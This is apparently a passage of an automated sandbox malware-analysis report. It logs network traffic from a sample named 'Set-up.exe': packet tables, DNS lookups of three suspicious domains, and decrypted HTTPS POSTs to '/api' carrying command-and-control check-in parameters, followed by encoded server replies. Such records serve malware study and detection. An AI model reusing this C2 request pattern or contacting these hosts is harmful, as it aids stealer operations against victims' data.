Dec 24, 2024 01:18:16.632361889 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.632374048 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.647618055 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.647671938 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.647679090 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.697824001 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.697832108 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.744756937 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.750726938 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.750875950 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.750936985 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.750946045 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.751105070 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.751162052 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.751276970 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.751282930 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.751297951 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.751306057 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:17.124413967 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:17.124460936 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:17.124572039 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:17.124907017 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:17.124922037 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:18.340208054 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:18.340331078 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:18.345307112 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:18.345314026 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:18.345796108 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:18.353791952 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:18.354726076 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:18.354782104 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:19.294332027 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:19.294486046 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:19.294693947 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:19.294812918 CET	49720	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:19.294831991 CET	443	49720	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:19.395287037 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:19.395334959 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:19.395431995 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:19.395782948 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:19.395795107 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:20.608284950 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:20.608519077 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:20.610070944 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:20.610081911 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:20.610409021 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:20.611629963 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:20.611779928 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:20.611820936 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:20.611893892 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:20.655345917 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:21.463138103 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:21.463437080 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:21.463643074 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:21.463968039 CET	49727	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:21.463999033 CET	443	49727	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:21.683042049 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:21.683084011 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:21.683156967 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:21.683651924 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:21.683661938 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:22.907337904 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:22.907455921 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:22.914145947 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:22.914151907 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:22.915055990 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:22.924482107 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:22.924602985 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:22.924645901 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:22.924716949 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:22.924726009 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:23.863363981 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:23.863615036 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:23.863843918 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:23.863977909 CET	49733	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:23.863996029 CET	443	49733	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:24.169534922 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:24.169548035 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:24.169644117 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:24.169919968 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:24.169929981 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:25.390305042 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:25.390403986 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:25.391954899 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:25.391961098 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:25.392805099 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:25.396852970 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:25.396966934 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:25.396971941 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:26.148531914 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:26.148782969 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:26.148971081 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:26.149046898 CET	49742	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:26.149059057 CET	443	49742	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:26.268091917 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:26.268138885 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:26.268256903 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:26.268707037 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:26.268724918 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:27.484127998 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:27.484214067 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:27.485909939 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:27.485925913 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:27.486321926 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:27.487852097 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:27.487946033 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:27.487956047 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:28.331826925 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:28.331928015 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:28.331994057 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:28.332168102 CET	49747	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:28.332185984 CET	443	49747	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:28.335246086 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:28.335279942 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:28.335422993 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:28.335623026 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:28.335633993 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:29.554677010 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:29.554770947 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:29.555942059 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:29.555949926 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:29.556174040 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:29.557313919 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:29.557334900 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:29.557379007 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:30.607950926 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:30.608179092 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:30.608350992 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:30.608402967 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:30.608402967 CET	49753	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:30.608432055 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:30.608448029 CET	443	49753	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:30.754545927 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:30.754648924 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:30.754740953 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:30.755120993 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:30.755156994 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:31.981915951 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:31.982070923 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:31.986296892 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:31.986341953 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:31.986589909 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:31.987903118 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:32.031358957 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:35.565246105 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:35.565316916 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:35.565380096 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:35.565586090 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:35.565586090 CET	49761	443	192.168.2.6	172.67.169.205
Dec 24, 2024 01:18:35.565608978 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:35.565624952 CET	443	49761	172.67.169.205	192.168.2.6
Dec 24, 2024 01:18:35.717266083 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:35.717325926 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:35.717389107 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:35.717698097 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:35.717710018 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:36.932781935 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:36.932854891 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:36.934808969 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:36.934817076 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:36.935214043 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:36.936933041 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:36.983345032 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368525028 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368571043 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368634939 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:37.368666887 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368820906 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368868113 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:37.368872881 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368891001 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.368936062 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:37.520437002 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:37.520458937 CET	443	49772	104.21.84.113	192.168.2.6
Dec 24, 2024 01:18:37.520493984 CET	49772	443	192.168.2.6	104.21.84.113
Dec 24, 2024 01:18:37.520499945 CET	443	49772	104.21.84.113	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 01:18:12.054284096 CET	60659	53	192.168.2.6	1.1.1.1
Dec 24, 2024 01:18:12.387722969 CET	53	60659	1.1.1.1	192.168.2.6
Dec 24, 2024 01:18:30.610953093 CET	52500	53	192.168.2.6	1.1.1.1
Dec 24, 2024 01:18:30.753796101 CET	53	52500	1.1.1.1	192.168.2.6
Dec 24, 2024 01:18:35.579032898 CET	59703	53	192.168.2.6	1.1.1.1
Dec 24, 2024 01:18:35.716542959 CET	53	59703	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 01:18:12.054284096 CET	192.168.2.6	1.1.1.1	0x2213	Standard query (0)	weighappetis.click	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:30.610953093 CET	192.168.2.6	1.1.1.1	0xbf66	Standard query (0)	neqi.shop	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:35.579032898 CET	192.168.2.6	1.1.1.1	0x3a64	Standard query (0)	kliptizq.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 01:18:12.387722969 CET	1.1.1.1	192.168.2.6	0x2213	No error (0)	weighappetis.click	172.67.192.222	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:12.387722969 CET	1.1.1.1	192.168.2.6	0x2213	No error (0)	weighappetis.click	104.21.11.227	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:30.753796101 CET	1.1.1.1	192.168.2.6	0xbf66	No error (0)	neqi.shop	172.67.169.205	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:30.753796101 CET	1.1.1.1	192.168.2.6	0xbf66	No error (0)	neqi.shop	104.21.27.229	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:35.716542959 CET	1.1.1.1	192.168.2.6	0x3a64	No error (0)	kliptizq.shop	104.21.84.113	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:18:35.716542959 CET	1.1.1.1	192.168.2.6	0x3a64	No error (0)	kliptizq.shop	172.67.191.144	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

weighappetis.click

neqi.shop

kliptizq.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49705	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: weighappetis.click
2024-12-24 00:18:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 00:18:14 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vnandbd4lfnsukpe7mgq9sdkku; expires=Fri, 18 Apr 2025 18:04:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VN5HkjNdZHD9%2B95ZG9qJ3nmEjEDPj2Kp8Mo06suiTf%2FKig6hgThUCxuT50y3pzMY7IacaOxS8tDMPpV%2B4v8U0NNDyv2lFq%2FdonJ3ArzqUK7vRt%2FzrQzXULyzZ%2FYtd1%2Bmb4DTTm8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69b4cd5b42e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1712&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=909&delivery_rate=1670480&cwnd=228&unsent_bytes=0&cid=8cb452c0ffd4633e&ts=753&x=0"
2024-12-24 00:18:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 00:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 79 Host: weighappetis.click
2024-12-24 00:18:15 UTC	79	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--JENYA&j=efdebde057a1df3f7c15b7f4da907c2d
2024-12-24 00:18:16 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bfklvol6cq6aqlnjsfu21m9fs3; expires=Fri, 18 Apr 2025 18:04:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F5JZN8gp0Mk5zXt4SEqXDoaAZD0D8LzJ%2BBfKN1LyZ54vm1%2FpbFRd8MCeha%2F3XZeLZMqjI6Y51tk4wY6Ln6KgCFiZBfjzZpY94lv45R1tjRSnnbh8yr12oAbgOZrrB83H7Gg83d4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69c2db3d43bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1778&rtt_var=675&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=981&delivery_rate=1609702&cwnd=252&unsent_bytes=0&cid=92dcb8629b2b4dc1&ts=775&x=0"
2024-12-24 00:18:16 UTC	240	IN	Data Raw: 34 36 65 0d 0a 43 78 44 43 63 2f 4a 6c 4d 33 65 56 49 53 4b 6b 64 56 66 76 61 70 69 48 62 42 78 6a 65 45 36 75 4e 57 66 6e 4d 78 66 46 32 76 6c 77 4d 72 52 52 79 46 45 66 56 65 5a 45 41 4a 34 54 4e 6f 4d 5a 2f 61 74 4f 66 51 64 61 64 4d 68 55 43 35 52 57 4f 2b 65 73 6c 43 6b 71 70 42 4b 65 46 6c 5a 62 74 30 52 61 68 6b 38 4d 6c 45 6a 39 36 55 34 6d 51 52 30 6b 7a 46 51 4c 68 56 4a 38 71 71 71 56 61 48 69 75 46 4a 6f 41 55 42 50 30 54 55 2f 42 45 44 4b 4f 41 50 62 75 41 58 51 4f 57 6d 4b 4d 55 42 33 46 43 54 57 49 76 34 31 71 58 61 4d 41 6d 55 64 4f 57 2b 34 44 52 38 70 58 62 63 30 4c 2f 65 55 41 65 67 63 54 4a 73 5a 64 41 34 52 58 66 62 57 7a 6e 32 4e 34 6f 42 65 62 43 6c 6b 48 2b 55 64 49 79 68 59 34 6a 6b 69 Data Ascii: 46eCxDCc/JlM3eVISKkdVfvapiHbBxjeE6uNWfnMxfF2vlwMrRRyFEfVeZEAJ4TNoMZ/atOfQdadMhUC5RWO+eslCkqpBKeFlZbt0Rahk8MlEj96U4mQR0kzFQLhVJ8qqqVaHiuFJoAUBP0TU/BEDKOAPbuAXQOWmKMUB3FCTWIv41qXaMAmUdOW+4DR8pXbc0L/eUAegcTJsZdA4RXfbWzn2N4oBebClkH+UdIyhY4jki
2024-12-24 00:18:16 UTC	901	IN	Data Raw: 30 70 51 6c 6d 51 55 4a 73 6e 32 55 47 6c 45 42 67 71 71 69 64 4b 57 33 75 43 4e 41 41 58 56 57 76 41 30 6a 4b 47 54 43 4f 42 2f 33 6b 44 6d 77 4f 47 69 2f 45 58 77 47 50 58 6e 71 6f 74 70 46 75 65 71 6b 57 6e 77 42 5a 45 2f 68 41 41 49 68 58 4d 70 56 49 6f 71 55 75 62 67 49 5a 4f 4d 46 47 52 5a 6f 66 62 4f 65 2f 6c 79 6b 71 34 42 65 65 42 6c 77 56 35 55 74 4c 7a 52 49 6e 68 67 48 33 36 41 35 7a 43 78 55 76 7a 46 41 50 6a 31 35 2f 6f 37 57 57 62 33 4b 67 55 64 35 48 56 67 32 33 47 77 44 6c 45 69 57 4b 42 4f 79 6e 4e 44 34 65 56 44 57 4d 55 41 6e 46 43 54 57 76 76 5a 68 71 65 61 38 53 6d 41 78 44 46 65 56 46 54 63 4d 46 4d 34 67 47 38 4f 59 63 64 41 38 63 4c 38 56 63 44 49 42 57 63 65 66 32 32 32 35 71 34 45 6e 51 4a 6c 77 65 2b 30 6c 58 78 6c 63 71 77 78 Data Ascii: 0pQlmQUJsn2UGlEBgqqidKW3uCNAAXVWvA0jKGTCOB/3kDmwOGi/EXwGPXnqotpFueqkWnwBZE/hAAIhXMpVIoqUubgIZOMFGRZofbOe/lykq4BeeBlwV5UtLzRInhgH36A5zCxUvzFAPj15/o7WWb3KgUd5HVg23GwDlEiWKBOynND4eVDWMUAnFCTWvvZhqea8SmAxDFeVFTcMFM4gG8OYcdA8cL8VcDIBWcef2225q4EnQJlwe+0lXxlcqwx
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 33 36 31 61 0d 0a 42 35 46 31 6f 7a 67 6b 35 46 67 6c 30 31 2f 2f 69 55 5a 6e 32 6f 45 5a 45 44 58 42 48 32 54 6b 7a 50 46 44 6d 42 41 50 66 70 43 6e 45 4a 45 69 2f 45 52 51 75 4c 56 33 4f 6e 76 64 73 6e 4d 71 63 4a 30 46 38 52 4d 66 6c 55 56 4d 31 56 41 49 34 47 39 4f 49 59 50 68 35 55 4e 59 78 51 43 63 55 4a 4e 61 6d 31 6b 47 56 31 71 52 43 54 42 31 73 62 2b 45 6c 49 7a 68 63 34 6a 41 50 79 34 77 4e 31 44 68 55 72 78 46 51 4a 67 46 78 32 35 2f 62 62 62 6d 72 67 53 64 41 69 58 78 62 6d 55 67 4c 7a 46 44 75 44 44 2b 79 6c 45 54 41 59 57 69 76 41 46 31 33 46 57 33 4b 67 76 4a 5a 6a 63 61 51 56 6e 51 68 59 48 50 35 52 53 73 6f 5a 4a 34 41 43 2f 2b 73 43 65 77 34 61 4c 63 31 5a 44 34 34 52 4f 2b 65 2f 67 79 6b 71 34 44 36 64 46 30 4d 66 2f 46 49 43 38 78 51 Data Ascii: 361aB5F1ozgk5Fgl01//iUZn2oEZEDXBH2TkzPFDmBAPfpCnEJEi/ERQuLV3OnvdsnMqcJ0F8RMflUVM1VAI4G9OIYPh5UNYxQCcUJNam1kGV1qRCTB1sb+ElIzhc4jAPy4wN1DhUrxFQJgFx25/bbbmrgSdAiXxbmUgLzFDuDD+ylETAYWivAF13FW3KgvJZjcaQVnQhYHP5RSsoZJ4AC/+sCew4aLc1ZD44RO+e/gykq4D6dF0Mf/FIC8xQ
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 71 55 68 66 52 63 51 62 4e 4d 5a 48 4d 56 57 65 65 66 67 32 32 4e 2b 70 42 4b 63 44 6c 30 59 39 6b 64 48 79 78 4d 31 69 77 37 2f 35 41 56 32 44 52 55 6d 77 46 4d 4a 6a 46 64 35 70 4c 75 64 4b 54 7a 67 46 6f 68 48 43 56 58 57 54 6b 76 4b 46 7a 61 63 44 37 71 72 54 6e 41 48 47 6d 79 55 51 52 57 53 56 6d 72 70 6f 64 74 75 66 75 42 4a 30 41 31 44 45 50 6c 48 53 73 4d 54 4f 59 63 49 2f 2f 63 47 65 41 59 57 4a 4d 6c 59 41 34 42 63 63 71 79 37 69 58 74 78 70 42 2b 63 52 78 39 56 38 46 73 41 6e 6c 63 51 6d 67 76 71 34 77 30 2b 48 6c 51 31 6a 46 41 4a 78 51 6b 31 70 37 61 58 59 6e 57 72 47 70 51 44 55 52 6a 38 54 55 37 50 47 7a 32 42 44 2b 6a 6f 43 33 59 4c 45 79 6e 41 57 67 61 58 55 6e 54 6e 39 74 74 75 61 75 42 4a 30 43 42 69 49 74 51 44 58 34 67 4f 64 59 6f 45 Data Ascii: qUhfRcQbNMZHMVWeefg22N+pBKcDl0Y9kdHyxM1iw7/5AV2DRUmwFMJjFd5pLudKTzgFohHCVXWTkvKFzacD7qrTnAHGmyUQRWSVmrpodtufuBJ0A1DEPlHSsMTOYcI//cGeAYWJMlYA4Bccqy7iXtxpB+cRx9V8FsAnlcQmgvq4w0+HlQ1jFAJxQk1p7aXYnWrGpQDURj8TU7PGz2BD+joC3YLEynAWgaXUnTn9ttuauBJ0CBiItQDX4gOdYoE
